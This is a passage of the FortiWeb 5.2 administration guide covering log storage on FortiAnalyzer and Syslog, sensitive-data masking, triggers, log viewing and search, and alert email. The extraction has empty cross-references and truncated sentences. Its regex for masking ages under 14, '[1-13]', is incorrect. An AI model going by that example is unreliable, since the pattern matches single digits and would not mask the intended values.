Enable to store log messages remotely on a FortiAnalyzer appliance.
Compatibility varies. See the
FortiAnalyzer Release Notes
. For example,
FortiAnalyzer 5.0.6 is tested compatible with FortiWeb 5.1.1 and 5.0.5.
Log entries to FortiAnalyzer are controlled by FortiAnalyzer policies and trigger actions associated with various types of violations. If this option is enabled, but a trigger action has not been selected for a specific type of violation, every occurrence of that violation will be recorded to the
FortiAnalyzer specified in
FortiAnalyzer Policy
.
Note: Before enabling this option, verify that log frequency is not too great.
If logs are very frequent, enabling this option could decrease performance and cause the FortiWeb appliance to send many log messages to
FortiAnalyzer.
Note: Logs stored remotely cannot be viewed from the FortiWeb web UI.
FortiAnalyzer
Policy
Select the settings to use when storing log messages remotely. FortiAnalyzer settings include the address and other connection settings for the remote FortiAnalyzer. For more information see
“Configuring FortiAnalyzer policies” on page 585 .
Log Level
Select the severity level that a log message must equal or exceed in order to be recorded to this storage location.
For information about severity levels, see “Log severity levels” on page 574
.
3. Click Apply.
4. Enable the log types that you want your log destinations to receive. See
“Enabling log types, packet payload retention, & resource shortage alerts” on page 575 .
See also
•
•
•
•
Enabling log types, packet payload retention, & resource shortage alerts
•
•
•
Configuring FortiAnalyzer policies
582 FortiWeb 5.2 Patch 2 Administration Guide
Obscuring sensitive data in the logs
You can configure the FortiWeb appliance to hide certain predefined data types, including user names and passwords, that could appear in the packet payloads accompanying a log message.
You can also define and include your own sensitive data types, such as ages (relevant if you are required to comply with COPPA ) or other identifying numbers, using regular expressions.
Sensitive data definitions are not retroactive. They will hide strings in subsequent log messages, but will not affect existing ones.
To exclude custom sensitive data from log packet payloads
1. Go to Log&Report > Log Config > Log Custom Sensitive Rule.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
2. On the top right side of the page, mark one or both of the following check boxes:
• Enable Predefined Rules — Use the predefined credit card number and password data
types. See “Predefined suspicious request URLs” on page 181
.
• Enable Custom Rules — Use your own regular expressions to define sensitive data. See
“Grouping custom suspicious request URLs” on page 183
.
3. Click Create New.
A dialog appears.
4. In Name, type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Fortinet 583 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
5. Select either General Mask (a regular expression that will match any substring in the packet payload) or Field Mask (a regular expression that will match only the value of a specific form input).
• In the field next to General Mask, type a regular expression that matches all the strings or numbers that you want to obscure in the packet payloads.
For example, to hide a parameter that contains the age of users under 14, you could enter: age\=[1-13]
Valid expressions must not start with an asterisk ( * ). The maximum length is 255 characters.
• For Field Mask, in the left-hand field (Field Name), type a regular expression that matches all and only the input names whose values you want to obscure. (The input name itself will not be obscured. If you wish to do this, use General Mask instead.) Then, in the right hand field (Field Value), type a regular expression that matches all input values that you want to obscure. Valid expressions must not start with an asterisk ( * ). The maximum length is 255 characters.
For example, to hide a parameter that contains the age of users under 14, for Field Name, you would enter age, and for Field Value, you could enter [1-13].
Field masks using asterisks are greedy: a match for the parameter’s value will obscure it, but will also obscure the rest of the parameters in the line. To avoid this, enter an expression whose match terminates with, but does not consume, the parameter separator.
For example, if parameters are separated with an ampersand ( & ), and you want to obscure the value of the Field Name username but not any of the parameters that follow it, you could enter the Field Value:
.*?(?=\&)
This would result in: username****&age=13&origurl=%2Flogin
To test a regular expression, click the >> (test) button. This opens the Regular Expression
6. Click OK.
The expression appears in the list of regular expressions that define sensitive data that will be obscured in the logs.
When viewing new log messages, data types matching your expression are replaced with a string of asterisks.
Configuring Syslog settings
In order to store log messages remotely on a Syslog server, you must first create the Syslog connection settings.
584 FortiWeb 5.2 Patch 2 Administration Guide
Syslog settings can be referenced by a trigger, which in turn can be selected as the trigger action in a protection profile, and used to send log messages to your Syslog server whenever a policy violation occurs.
Logs stored remotely cannot be viewed from the FortiWeb web UI. If you require the ability to
.
Fortinet
To configure Syslog policies
1. Before you can log to Syslog, you must enable it for the log type that you want to use as a trigger. For details, see
“Enabling log types, packet payload retention, & resource shortage alerts” on page 575
.
2. Go to Log&Report > Log Policy > Syslog Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
3. Click Create New.
A dialog appears.
4. If the policy is new, in Policy Name, type the name of the policy as it will be referenced in the configuration.
5. In IP Address, enter the address of the remote Syslog server.
6. In Port, enter the listening port number of the Syslog server. The default is 514.
7. Mark the Enable CSV Format check box if you want to send log messages in comma-separated value (CSV) format.
8. Click OK.
9. To verify logging connectivity, from the FortiWeb appliance, trigger a log message that matches the types and severity levels that you have chosen to store on the remote host.
Then, on the remote host, confirm that it has received that log message.
If the remote host does not receive the log messages, verify the FortiWeb appliance’s network interfaces (see
“Configuring the network interfaces” on page 121
) and static routes
(see “Adding a gateway” on page 135
), and the policies on any intermediary firewalls or routers. If ICMP is enabled on the remote host, try using the execute traceroute command to determine the point where connectivity fails. For details, see the
FortiWeb CLI
Reference
.
See also
•
•
•
Enabling log types, packet payload retention, & resource shortage alerts
•
•
•
Obscuring sensitive data in the logs
Configuring FortiAnalyzer policies
Before you can store log messages remotely on a FortiAnalyzer appliance, you must first create
FortiAnalyzer connection settings.
585 FortiWeb 5.2 Patch 2 Administration Guide
Once you create FortiAnalyzer connection settings, it can be referenced by a trigger, which in turn can be selected as a trigger action in a protection profile, and used to record policy violations.
Logs stored remotely cannot be viewed from the web UI of the FortiWeb appliance. If you require the ability to view logs from the web UI, also enable local storage. For details, see
“Enabling log types, packet payload retention, & resource shortage alerts” on page 575
.
To configure FortiAnalyzer policies
1. Before you can log to FortiAnalyzer, you must enable logging for the log type that you want
2. Go to Log&Report > Log Policy > FortiAnalyzer Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
3. Click Create New.
A dialog appears.
Fortinet
4. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. In IP Address, type the address of the remote FortiAnalyzer appliance.
6. Click OK.
7. Confirm with the FortiAnalyzer administrator that the FortiWeb appliance was added to the
FortiAnalyzer appliance’s device list, allocated sufficient disk space quota, and assigned permission to transmit logs to the FortiAnalyzer appliance. For details, see the
FortiAnalyzer
Administration Guide
.
8. To verify logging connectivity, from the FortiWeb appliance, trigger a log message that matches the types and severity levels that you have chosen to store on the remote host.
Then, on the remote host, confirm that it has received that log message.
If the remote host does not receive the log messages, verify the FortiWeb appliance’s network interfaces (see
“Configuring the network interfaces” on page 121
) and static routes
(see “Adding a gateway” on page 135
), and the policies on any intermediary firewalls or routers. If ICMP ECHO_RESPONSE (pong) is enabled on the remote host, try using the execute traceroute
command to determine the point where connectivity fails. For details, see the
FortiWeb CLI Reference
.
See also
•
•
•
Enabling log types, packet payload retention, & resource shortage alerts
•
•
Obscuring sensitive data in the logs
586 FortiWeb 5.2 Patch 2 Administration Guide
Configuring triggers
Triggers are sets of notification servers (Syslog, FortiAnalyzer, and alert email) that you can select in protection rules. The FortiWeb appliance will contact those servers when traffic violates the policy and therefore triggers logging and/or alert email.
You can also receive security event notification via SNMP. See
“SNMP traps & queries” on page 612 .
For example, if you create a trigger that contains email and Syslog settings, that trigger can be selected as the trigger action for specific violations of a protection profile’s sub-rules. Alert email and Syslog records will be created according to the trigger when a violation of that individual rule occurs.
To configure triggers
1. Before you create a trigger, first create any settings it will reference, such as email, Syslog and/or FortiAnalyzer settings (see
“Configuring email settings” on page 608 ,
Syslog settings” on page 584 , and
“Configuring FortiAnalyzer policies” on page 585
).
2. Go to Log&Report > Log Policy > Trigger Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
3. Click Create New.
A dialog appears.
Fortinet
4. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Pick an existing policy from one or more of the three email, Syslog or FortiAnalyzer setting drop-down lists. FortiWeb will use these notification devices for all protection rule violations that use this trigger.
6. Click OK.
7. To apply the trigger, select it in the Trigger Action setting in a web protection feature, such as a hidden field rule, or an HTTP constraint on illegal host names.
Viewing log messages
You can use the web UI to view and download locally stored log messages. (You cannot use the web UI to view log messages that are stored remotely on Syslog or FortiAnalyzer devices.)
587 FortiWeb 5.2 Patch 2 Administration Guide
Depending on the type of log, some log messages cannot be viewed from the web UI.
Table 51: Availability of each log type via the web UI
Storage method
Local disk
Local memory
Syslog server
FortiAnalyzer
Log type
Event
Yes
Yes
Yes
Yes
Traffic
Yes
No
Yes
Yes
Attack
Yes
No
Yes
Yes
Log messages are in human-readable format, where each column’s name, such as Source (src in Raw view), indicates its contents.
To assist you in forensics and troubleshooting false positives, if the request matched an attack signature, the part of the packet that matched is highlighted in yellow.
An attack’s origin is not always the same as the IP that appears in your logs. Network address translation (NAT) at various points between a web browser and your web servers can mask the original IP address of the attacker. Depending on your configuration of
Use X-Header to Identify Original Client’s IP
, attack logs’ Source column may contain the IP address of the client according to X-Forwarded-For: or a similar header in the HTTP layer, not the SRC field in the IP header. In that case, the corresponding traffic log’s Source column will not match, since it reflects the IP layer. (Typically in that scenario, the connection has been relayed by a load balancer or proxy, and therefore the IP would be that of the load balancer, which is not the real origin of the attack.) Relatedly, if
is enabled, FortiWeb will attempt to differentiate
innocent clients that share the same public address with an attacker according to the IP layer
SRC
field due to NAT.
Not all attack detections will be logged. In some cases, only one entry will be logged when
there are many attack instances. See “Log rate limits” on page 574 . Relatedly, server
information disclosure detections will not be logged if you have configured
to be Erase,
no Alert. See “Blocking known attacks & data leaks” on page 405
.
Fortinet 588 FortiWeb 5.2 Patch 2 Administration Guide
To view log messages
1. Go to one of the log types:
•
Log&Report > Log Access > Attack
•
Log&Report > Log Access > Event
•
Log&Report > Log Access > Traffic
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
Columns and appearance varies slightly by the log type. For details on structure or interpretations of and troubleshooting suggestions for individual log messages, see the
FortiWeb Log Reference
.
Initially, the page displays the most recent log messages for that log type. Contents of the
Message column may vary by your selection of Raw or Formatted view.
In FortiWeb HA clusters, log messages are recorded on their originating appliance. If you notice a gap in the logs, a failover may have occurred. Logs during that period will be stored on the other appliance. To view those logs, switch to the other appliance.
Table 52: Log&Report > Log Access > Event
Fortinet
Button
Refresh
Description
Click to update the page with any logs that have been recorded since you previously loaded the page.
Column Settings
Click to display or hide the columns that correspond to log fields, or change the order in which they appear on the page. For more information, see
“Displaying & arranging log columns” on page 596 .
Raw
or
Formatted
Click to toggle between a Raw and Formatted view of the log information. The raw view displays the log message as it actually appears in the log file. The formatted view displays the log message in a columnar format.
Click to switch the log information view to that opposite of what is currently displayed.
For details on both view types, see “Switching between Raw &
Formatted log views” on page 595 .
589 FortiWeb 5.2 Patch 2 Administration Guide
Button
Clear All Filters
Description
Click this icon to clear all log view filters. For details on log view filters, see
“Filtering log messages” on page 598 .
Log Management
Click to download, delete, or view the contents of a log file.
Table 53:
Log&Report > Log Access > Attack
Fortinet
Button
Refresh
Description
Click to update the page with any logs that have been recorded since you previously loaded the page.
Column Settings
Click this icon to display or hide the columns that correspond to log fields, or change the order in which they appear on the page. For
more information, see “Displaying & arranging log columns” on page 596 .
Raw
or
Formatted
Click to toggle between a Raw and Formatted view of the log information. The raw view displays the log message as it actually appears in the log file. The formatted view displays the log message in a columnar format.
Click to switch the log information view to that opposite of what is currently displayed.
For details on both view types, see “Switching between Raw &
Formatted log views” on page 595 .
Clear All Filters
Click this icon to clear all log view filters. For details on log view filters, see
“Filtering log messages” on page 598 .
590 FortiWeb 5.2 Patch 2 Administration Guide
Button
Log Message
Aggregation
Log Search
Description
Click to arrange the attack logs into specific categories. For more information, see
“Coalescing similar attack log messages”
.
Click to search attack logs using simple or advanced search criteria.
For more information, see “Searching attack logs” on page 603
.
Log Management
Click to download, delete, or view the contents of a log file.
Not all detected attacks may be blocked, redirected, or sanitized.
For example, while using auto-learning, you can configure protection profiles with an action of Alert (log but not deny), allowing the connection to complete in order to gather full auto-learning data.
To determine whether or not an attack attempt was permitted to reach a web server, show
the Action column. For details, see “Displaying & arranging log columns” on page 596 .
Additionally, if the FortiWeb appliance is operating in offline protection mode or transparent inspection mode, due to asynchronous inspection where the attack may have reached the server before it was detected by FortiWeb, you should also examine the server itself.
Table 54: Log&Report > Log Access > Traffic
Fortinet 591 FortiWeb 5.2 Patch 2 Administration Guide
Button
Refresh
Description
Click to update the page with any logs that have been recorded since you previously loaded the page.
Column Settings
Click to display or hide the columns that correspond to log fields, or change the order in which they appear on the page. For more information, see
“Displaying & arranging log columns” on page 596 .
Raw
or
Formatted
Click to toggle between a Raw and Formatted view of the log information. The raw view displays the log message as it actually appears in the log file. The formatted view displays the log message in a columnar format.
Click to switch the log information view to that opposite of what is currently displayed.
For details on both view types, see “Switching between Raw &
Formatted log views” on page 595 .
Clear All Filters
Click this icon to clear all log view filters. For details on log view filters, see
“Filtering log messages” on page 598 .
Log Management
Click to download, delete, or view the contents of a log file.
2. If you want to view log messages in a rotated log file, click Log Management.
A page appears, listing each of the log files for that type that are stored on the local hard drive.
Fortinet
3. Mark the check box next to the file whose log messages you want to view.
4. Click View.
The page refreshes, displaying log messages in that file.
Viewing a single log message as a table
When viewing attack log messages or traffic log messages, you can display the log message as a table in the frame below the log view.
592 FortiWeb 5.2 Patch 2 Administration Guide
To view message details
1. Go to either Log&Report > Log Access > Attack or Log&Report > Log Access > Traffic.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
2. Click any log message or click the Detail icon on any row to view message details.
The details appear beside the main log table.
Fortinet
Viewing packet payloads
If you enabled retention of packet payloads from FortiWeb’s HTTP parser for attack and traffic logs (see
via the web UI.
Packet payload tables display the decoded packet payload associated with the log message that it caused. This supplements the log message by providing the actual data that triggered the regular expression, which may help you to fine-tune your regular expressions to prevent false positives, or aid in forensic analysis.
593 FortiWeb 5.2 Patch 2 Administration Guide
To view a packet payload
1. Go to either Log&Report > Log Access > Attack or Log&Report > Log Access > Traffic.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
2. In the row corresponding to the log message whose packet payload you want to view, click the log message.
There may not be a Packet Log icon for every log message, such as for normal HTTP responses and attack types where you have not enabled packet payload retention.
In a frame below or to the right the log messages (unless you have selected Detailed
Information > Hidden from the menu bar), the log message appears in table format, as well as the decoded HTTP headers and packet payload. Parameters and file uploads will be either in the URL or (for HTTP POST requests) Data fields. Cookies may be in either the
Cookie or Data fields.
Fortinet 594 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Enabling log types, packet payload retention, & resource shortage alerts
•
Switching between Raw & Formatted log views
•
Coalescing similar attack log messages
•
•
Switching between Raw & Formatted log views
You can view log messages in either Raw or Formatted view:
• Raw — Displays log messages exactly as they appear in the log file, as a single line of text consisting of field-value pairs.
Figure 67:Viewing log messages (Raw view)
Click to switch to Formatted view
• Formatted — Displays log messages in a columnar format. Each log field in a log message appears in its own column, aligned with the same field in other log messages, for rapid visual comparison. When displaying log messages in formatted view, you can customize the log view by hiding, displaying, and arranging columns and/or by filtering columns, refining your view to include only those log messages and fields that you want to see.
Fortinet 595 FortiWeb 5.2 Patch 2 Administration Guide
Figure 68:Viewing log messages (Formatted view)
Click to switch to Raw view
Fortinet
To switch between raw logs and formatted logs
1. Go to one of the log types, such as Log&Report > Log Access > Event.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
2. Click the Formatted or Raw icon, depending on which view is currently displayed.
(Formatted is the default.)
The page refreshes and toggles to the other view.
See also
•
Displaying & arranging log columns
•
•
Coalescing similar attack log messages
•
Coalescing similar attack log messages
•
Displaying & arranging log columns
When viewing logs in Formatted view, you can show, hide and re-order most columns to display only relevant categories of information in your preferred order.
You cannot hide the Packet Log or Detail columns in the attack log and traffic log.
For most columns, you can also filter data within the columns to include or exclude log
.
596 FortiWeb 5.2 Patch 2 Administration Guide
To display or hide columns
1. Go to one of the log types, such as Log&Report > Log Access > Event.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
2. Click the Column Settings icon.
Lists of available and displayed columns appear.
Fortinet
3. Select which columns to hide or display:
• In the Available fields area, select the names of individual columns you want to display, then click the single right arrow to move them to the Show these fields in this order area.
• In the Show these fields in this order area, select the names of individual columns you want to hide, then click the single left arrow to move them to the Available fields area.
4. Change the order of the columns:
• In the Show these fields in this order area, select a column name whose order of appearance you want to change.
• Click Move Up or Move Down to move the column in the ordered list.
Placing a column name towards the top of the Show these fields in this order list will move the column to the left side of the Formatted log view.
5. Click OK.
The page refreshes, displaying the columns that you selected, in the order that you specified. Column settings persist when changing pages or logging out, and apply to all administrator accounts with access to the page.
See also
•
597 FortiWeb 5.2 Patch 2 Administration Guide
Filtering log messages
When viewing log messages in Formatted view, you can filter columns to display only those log messages that do or do not contain your specified content in that column.
Filters cannot be used in Raw view.
By default, column headings contain a gray filter icon. It becomes green when a filter is configured and enabled.
Figure 69:Filter icons
Filter not in use (grey)
Filter in use (green)
To filter log messages by column contents
1. Go to one of the log types, such as Log&Report > Log Access > Event.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
Fortinet 598 FortiWeb 5.2 Patch 2 Administration Guide
2. In the heading of the column that you want to filter, click the Filter icon.
Alternatively, on the tool bar, click the Filter Settings button.
The filter dialog appears.
Fortinet
3. If you clicked the Filter Settings button on the tool bar, click the green + icon next to Add
new filter, then, from the Field drop-down list that appears, select the name of the column that will be the basis for filtering the log view.
4. To exclude log messages with matching content in this column, mark the NOT check box; otherwise, leave it clear.
5. For Date and Time filters, define the time period in To and From.
For other filters, in Value, type the entire value that matching log messages must contain in that column. Appropriate filter strings vary by the column.
Type the entire value of a field in the column exactly, or use wild card characters ( * ) to indicate multiple possible matching values. (For HTTP constraint logs, the entire Message
(msg) field is not displayed in Formatted view; you must use Raw view instead.) Otherwise either results will be different than you intend, or no log messages may entirely match the filter, and so the results will be empty.
For example, when filtering the log view based upon the ID column, in Value, you could type an entire, single log ID:
00032009 or you could match multiple log IDs by using an asterisk ( * ) to match multiple characters:
*32009
00032*
*32*
Matching log messages are excluded or included in your view based upon whether you have marked or cleared NOT.
6. Click OK.
A column’s filter icon is green when the filter is currently enabled.
To clear one filter
1. Go to one of the log types, such as Log&Report > Log Access > Event.
599 FortiWeb 5.2 Patch 2 Administration Guide
2. In the heading of the column whose filter you want to clear, click the Filter icon. (A column’s filter icon is green when the filter is currently enabled.)
Alternatively, on the tool bar, click the Filter Settings button.
The filter dialog appears.
3. Click the red X next to the column name in the filter dialog.
4. Click OK.
The column filter icon becomes gray and the page refreshes.
To clear all filters
1. Go to one of the log types, such as Log&Report > Log Access > Event.
2. On the tool bar, click the Filter Settings button.
3. Click Clear all filters.
4. Click OK.
All column filter icons become gray and the page refreshes.
Downloading log messages
You can download logs that are stored locally (i.e., on the FortiWeb appliance’s hard drive) to your management computer.
In the web UI, there are two different methods:
• Download one or more whole log files. (If the log has not yet been rotated, there may be only one file.)
• Download only the log messages that occurred within a specific time period, regardless of which file contains them.
To download log messages matching a time period
1. Go to Log&Report > Log Access > Download.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
Fortinet 600 FortiWeb 5.2 Patch 2 Administration Guide
2. Configure these settings:
Fortinet
Setting name
Description
Log Type
Select one of the following log types to download
System
Time
Displays the date and time according to the FortiWeb appliance’s clock at the time that this page was loaded, or when you last clicked the Refresh button.
Start Time
Choose the starting point for the log download by selecting the year, month and day as well as the hour, minute and second that defines the first of the log messages to download.
End Time
Choose the end point for the log download by selecting the year, month and day as well as the hour, minute and second that defines the last of the log messages to download.
3. Click Download.
If there are no log messages of that log type in that time period, a message appears: no logs selected
Click Return and revise the time period or log type selection.
4. If a file download dialog appears, choose the directory where you want to save the file.
Your browser downloads the log file in a .tgz compressed archive. Time required varies by the size of the log and the speed of the network connection.
To download a whole log file
1. Go to one of the log types, such as Log&Report > Log Access > Event.
601 FortiWeb 5.2 Patch 2 Administration Guide
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
2. Click Log Management.
A page appears, listing each of the log files for that type that are stored on a local hard drive.
3. Mark the check box next to the file that you want to download.
4. Click Download.
A dialog appears.
Fortinet
5. Select either Normal format (raw, plain text logs) or CSV format (comma-separated value).
Raw, unencrypted logs can be viewed with a plain text editor. CSV-formatted, unencrypted logs can be viewed with a spreadsheet application, such as Microsoft Excel or OpenOffice
Calc.
6. If you would like to password-encrypt the log files using 128-bit AES before downloading them, enable Encryption and type a password in Password.
Encrypted logs can be decrypted and viewed by archive viewers that support this encryption, such as 7zip 9.20 or WinRAR 5.0.
7. Click OK.
8. If a file download dialog appears, choose the directory where you want to save the file.
Your browser downloads the log file as a .log or .csv file, depending on which format you selected. Time required varies by the size of the log and the speed of the network connection.
Deleting log files
If you have downloaded log files to an external backup, or if you no longer require them, you can delete one or more locally stored log files to free disk space.
To delete a log file
1. Go to one of the log types, such as Log&Report > Log Access > Event.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
602 FortiWeb 5.2 Patch 2 Administration Guide
2. Click Log Management.
A page appears, listing each of the log files for that type that are stored on the local hard drive.
3. Either:
• To delete all log files, mark the check box in the column heading. All rows’ check boxes will become marked.
• To delete some log files, mark the check box next to each file that you want to delete.
4. Click Clear Log.
Searching attack logs
When you have many attack logs, you can locate a specific log using search.
If searching HTTP constraint logs based upon the Message (msg) field, make sure that your search criteria considers the entire message. The whole Message field is not displayed in
Formatted view, which hides the prefix; you must use Raw view instead.
To search an attack log
1. At the top of the Attack log window, click the Log Search icon.
A dialog appears.
2. To perform a simple search, enter the term you want to search in the Keyword field and click
OK.
3. To perform an advanced search, click the blue expansion arrow beside Advanced Search.
The dialog expands.
Fortinet 603 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Fortinet 604 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Keyword(s)
From/To
Hour
Minute all/any
Description
Type the exact keywords you want to search for. Unlike a quick search, an advanced search returns only the results that exactly match the specified keywords.
For example, entering allow as a keyword will not provide results such as allow_host and waf_allow_method. You must enter the exact terms.
If a single keyword consists of multiple words each separated by a space, surround the words with quotation marks ( " ). If quotation marks are not used, the search will treat each word as an individual keyword.
This setting is optional.
Note: If you entered keywords in the quick search field before opening the advanced Search Dialog, those keywords are retained when the dialog opens, and will be used as part of the parameters for the advanced search. Remove the keyword if it does not apply to your advanced search.
Select the date and time range that contains the attack log that you are searching for.
Note: The date fields default to the current date. Ensure the date fields are set to the actual date range that you want to search.
Select all if you want to search for all terms specified in the fields shown below the all/any options. For example, if terms are entered in
Sub Type and Action, the search results display only the attack logs matching both of those terms.
Select any if you want to search for any one of the terms specified in the fields shown below the all/any options. For example, if terms are entered in Sub Type, Source, Action and Policy, the search results display the attack logs that match any of those terms.
Fortinet 605 FortiWeb 5.2 Patch 2 Administration Guide
Setting name not
Description
Select not if you want to search for conditions that exclude a specific term. For example, if an IP address is entered in the Source field, and
not is selected, the search results exclude all attack logs with that source IP address.
Sub Type
Source
Destination
Source Port
Destination Port
Method
Action
Policy
Service
HTTP Host
HTTP URL
User Agent
Severity Level
Trigger Policy
Message
Signature Subclass
Type
Signature ID
Source Country
Type an exact match for the value of one or more log fields.
To exclude log records that match a criterion, mark its Not check box.
Note: Source may be the IP address according to an HTTP header such as X-Forwarded-For: instead of the SRC at the IP layer. See
“Defining your proxies, clients, & X-headers” on page 281 .
5. Click OK to initiate the search.
Search results include only exact matches for keywords and terms entered in the advanced
Search Dialog. Ensure that the keywords and terms are accurate and relevant to the search and that the date and time fields cover the actual range you want to search.
Fortinet
The attack log refreshes to show the search results on a new page. The page includes two new icons: Generate Log Detail PDF and Reset.
6. To generate a detailed report of the attack log search results in PDF format, click a check box for the log to view and select the Generate Log Detail PDF icon.
7. Select Reset to clear the search results and return to the full list of attack logs.
Coalescing similar attack log messages
When viewing attack log messages, especially if there are many attacks of the same kind, it c can be easier to understand your log messages when common ones are coalesced by one of those similarities, rather than by exact sequential order. (In the web UI, this feature is called log message aggregation.)
For example, a worm outbreak on the Internet can create hundreds if not thousands of malicious connections to your web servers. This could swamp your attack log with alerts, obscuring other dangerous problems. By aggregating similar alerts — such as by the Sub Type column — it is easier for you to view other problems.
FortiWeb applies this aggregation feature to both attack log messages and HTTP protocol constraint messages. When the total number of "Signature attacks detected" or "HTTP protocol
606 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet constraints violations" log messages exceeds 32 in a single day, they are displayed as a single
"Signature attacks detected" or "HTTP protocol constraints violations" item in the list.
Some attacks only generate one log message per interval in the duration of the attack. They are effectively already coalesced. See
and
“Viewing log messages” on page 587 .
To coalesce similar attack log messages
1. Go to Log&Report > Log Access > Aggregated Attacks.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
2. Each row of aggregated log messages is initially grouped into similar attack types, not primarily by day or time.
If you want to aggregate attacks by time instead, click Aggregate log by Date.
Each page in the display contains up to 7 dates’ worth of aggregated logs. To view dates before that time, click the arrow to go to the next page.
3. To expand a row in order to view individual items comprising it, click the blue arrow in the
# column.
4. To view a list of all mog messages comprising that item, click the item’s row. Details appear in a pane to the right.
607 FortiWeb 5.2 Patch 2 Administration Guide
Alert email
To notify you of serious attack and/or system failure events, you can configure the FortiWeb appliance to generate an alert email.
Alerts appear on the dashboard. FortiWeb will also generate alert e-mail if you configure email settings and include them in a trigger that is used by system resource thresholds and/or traffic policies.
Alert email are based upon events that are also in log messages. If you have received an alert email and want to know more about the events, go to the corresponding log messages. For
information on viewing locally stored log messages, see “Viewing log messages” on page 587 .
To configure alert email
1. Configure email settings so that FortiWeb will be able to connect to an SMTP server that will deliver alerts. See
“Configuring email settings” on page 608 .
2. If you want to receive email about attacks or policy violations, add the email settings to the
trigger that is used by those policies. See “Configuring triggers” on page 587 .
3. If you want to receive email about system resource statuses, configure alert thresholds. See
“Enabling log types, packet payload retention, & resource shortage alerts” on page 575 .
4. If you want to receive copies of event log messages via email, See
“Configuring alert email for event logs” on page 610 .
Configuring email settings
If you define email settings, FortiWeb can send email to alert specific administrators or other personnel when a serious condition or problem occurs, such as a system failure or network attack. Email settings include email address information for selected recipients and it sets the frequency that emails are sent to those recipients.
For example, you might configure a signature set to monitor for SQL-injection violations and take specific actions if those types of violations occur. The specific actions can include sending an alert email, in which case the email is sent to the individuals identified in the email settings attached to the trigger used for the SQL injection violation. The trigger could also include recording the violation in Syslog or FortiAnalyzer. For more information on Syslog or
FortiAnalyzer settings, see “Configuring Syslog settings” on page 584
and
FortiAnalyzer policies” on page 585 .
The alert email settings also enables you to define the interval that emails are sent if the same alert condition persists following the initial occurrence.
For example, you might configure the FortiWeb appliance to send only one alert message for each 15-minute interval after warning-level log messages begin to be recorded. In that case, if the alert condition continues to occur for 35 minutes after the first warning-level log message, the FortiWeb appliance would send a total of three alert email messages, no matter how many warning-level log messages were recorded during that period of time.
Intervals are configured separately for each severity level of log messages. For more information on the severity levels of log messages, see
“Log severity levels” on page 574
.
To configure email settings
1. Before FortiWeb will send alerts, you must first enable alert email for each log type that you
Fortinet 608 FortiWeb 5.2 Patch 2 Administration Guide
2. Go to Log&Report > Log Policy > Email Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
3. Click Create New.
A dialog appears.
4. Configure these settings:
Fortinet
Setting name
SMTP server
Email From
Description
Type the fully qualified domain name (FQDN, e.g. mail.example.com
) or IP address of the SMTP relay or server, such as a FortiMail appliance, that the FortiWeb appliance will use to send alerts and generated reports.
Caution: If you enter a domain name, you must also configure the
FortiWeb appliance with at least one DNS server. Failure to configure a DNS server may cause the FortiWeb appliance to be unable to resolve the domain name, and therefore unable to send the alert. For
information on configuring use of a DNS server, see “Configuring DNS settings” on page 139
.
Type the sender email address, such as [email protected], that the FortiWeb appliance will use when sending alert email messages.
Email To
Type up to three recipient email addresses such as [email protected]
. Enter one per field.
Enable if the SMTP relay requires authentication.
Authentication
SMTP Username
Type the user name of the account on the SMTP relay (e.g. fortiweb
) that will be used to send alerts.
This option is available only if
609 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
SMTP Password
Log Level
Emergency
Alert
Critical
Error
Warning
Notification
Information
Debug
Description
Type the password of the account on the SMTP relay that will be used to send alerts.
This option is available only if
Select the priority threshold that log messages must meet or exceed
.
Type the number of minutes between each alert if an alert condition of severity level Emergency continues to occur after the initial alert.
Type the number of minutes between each alert if an alert condition of severity level Alert continues to occur after the initial alert.
Type the number of minutes between each alert if an alert condition of severity level Critical continues to occur after the initial alert.
Type the number of minutes between each alert if an alert condition of severity level Error continues to occur after the initial alert.
Type the number of minutes between each alert if an alert condition of severity level Warning continues to occur after the initial alert.
Type the number of minutes between each alert if an alert condition of severity level Notification continues to occur after the initial alert.
Type the number of minutes between each alert if an alert condition of severity level Information continues to occur after the initial alert.
Type the number of minutes between each alert if an alert condition of severity level Debug continues to occur after the initial alert.
5. Click OK.
6. Group the email settings in a trigger (see
“Configuring triggers” on page 587
).
7. Add the appliance’s sender address (in the example above, [email protected]) to your address book. Depending on your anti-spam software/device, you may also need to adjust other settings to ensure that email from this appliance is not accidentally dropped or tagged as spam.
8. To verify your settings and connectivity to the email server/relay, click Apply & Test.
See also
•
Enabling log types, packet payload retention, & resource shortage alerts
•
•
Configuring alert email for event logs
Configuring alert email for event logs
You can configure FortiWeb to send an alert email for event log messages.
610 FortiWeb 5.2 Patch 2 Administration Guide
To configure alert email for event logs
1. Go to Log&Report > Log Config > Global Log Settings.
To access this part of the web UI, your administrator’s account access profile must have
